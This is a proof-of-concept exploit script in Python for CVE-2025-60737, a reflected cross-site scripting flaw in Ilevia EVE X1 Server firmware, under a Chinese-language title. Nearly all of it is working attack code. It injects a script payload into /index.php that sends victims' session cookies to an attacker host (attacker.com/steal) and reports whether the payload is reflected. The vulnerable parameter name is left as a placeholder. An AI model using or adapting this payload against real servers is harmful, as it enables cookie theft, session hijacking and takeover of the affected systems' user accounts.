CVE-2025-60737 Ilevia EVE X1 Server跨站脚本漏洞

import requests # CVE-2025-60737 PoC - XSS in Ilevia EVE X1 Server /index.php # Target: Ilevia EVE X1 Server Firmware <= 4.7.18.0 TARGET_URL = "http://target-server/index.php" # XSS payload to steal session cookies xss_payload = "<script>document.location='https://attacker.com/steal?c='+document.cookie</script>" def exploit_xss(): """ Exploit CVE-2025-60737: XSS vulnerability in /index.php The payload is injected into a vulnerable parameter that is reflected without sanitization. """ params = { 'param': xss_payload # Replace 'param' with actual vulnerable parameter } try: response = requests.get(TARGET_URL, params=params, timeout=10) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Payload: {xss_payload}") if xss_payload in response.text: print("[+] XSS payload reflected in response - vulnerability confirmed") else: print("[-] Payload not found in response") except requests.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-60737 PoC - Ilevia EVE X1 Server XSS") exploit_xss()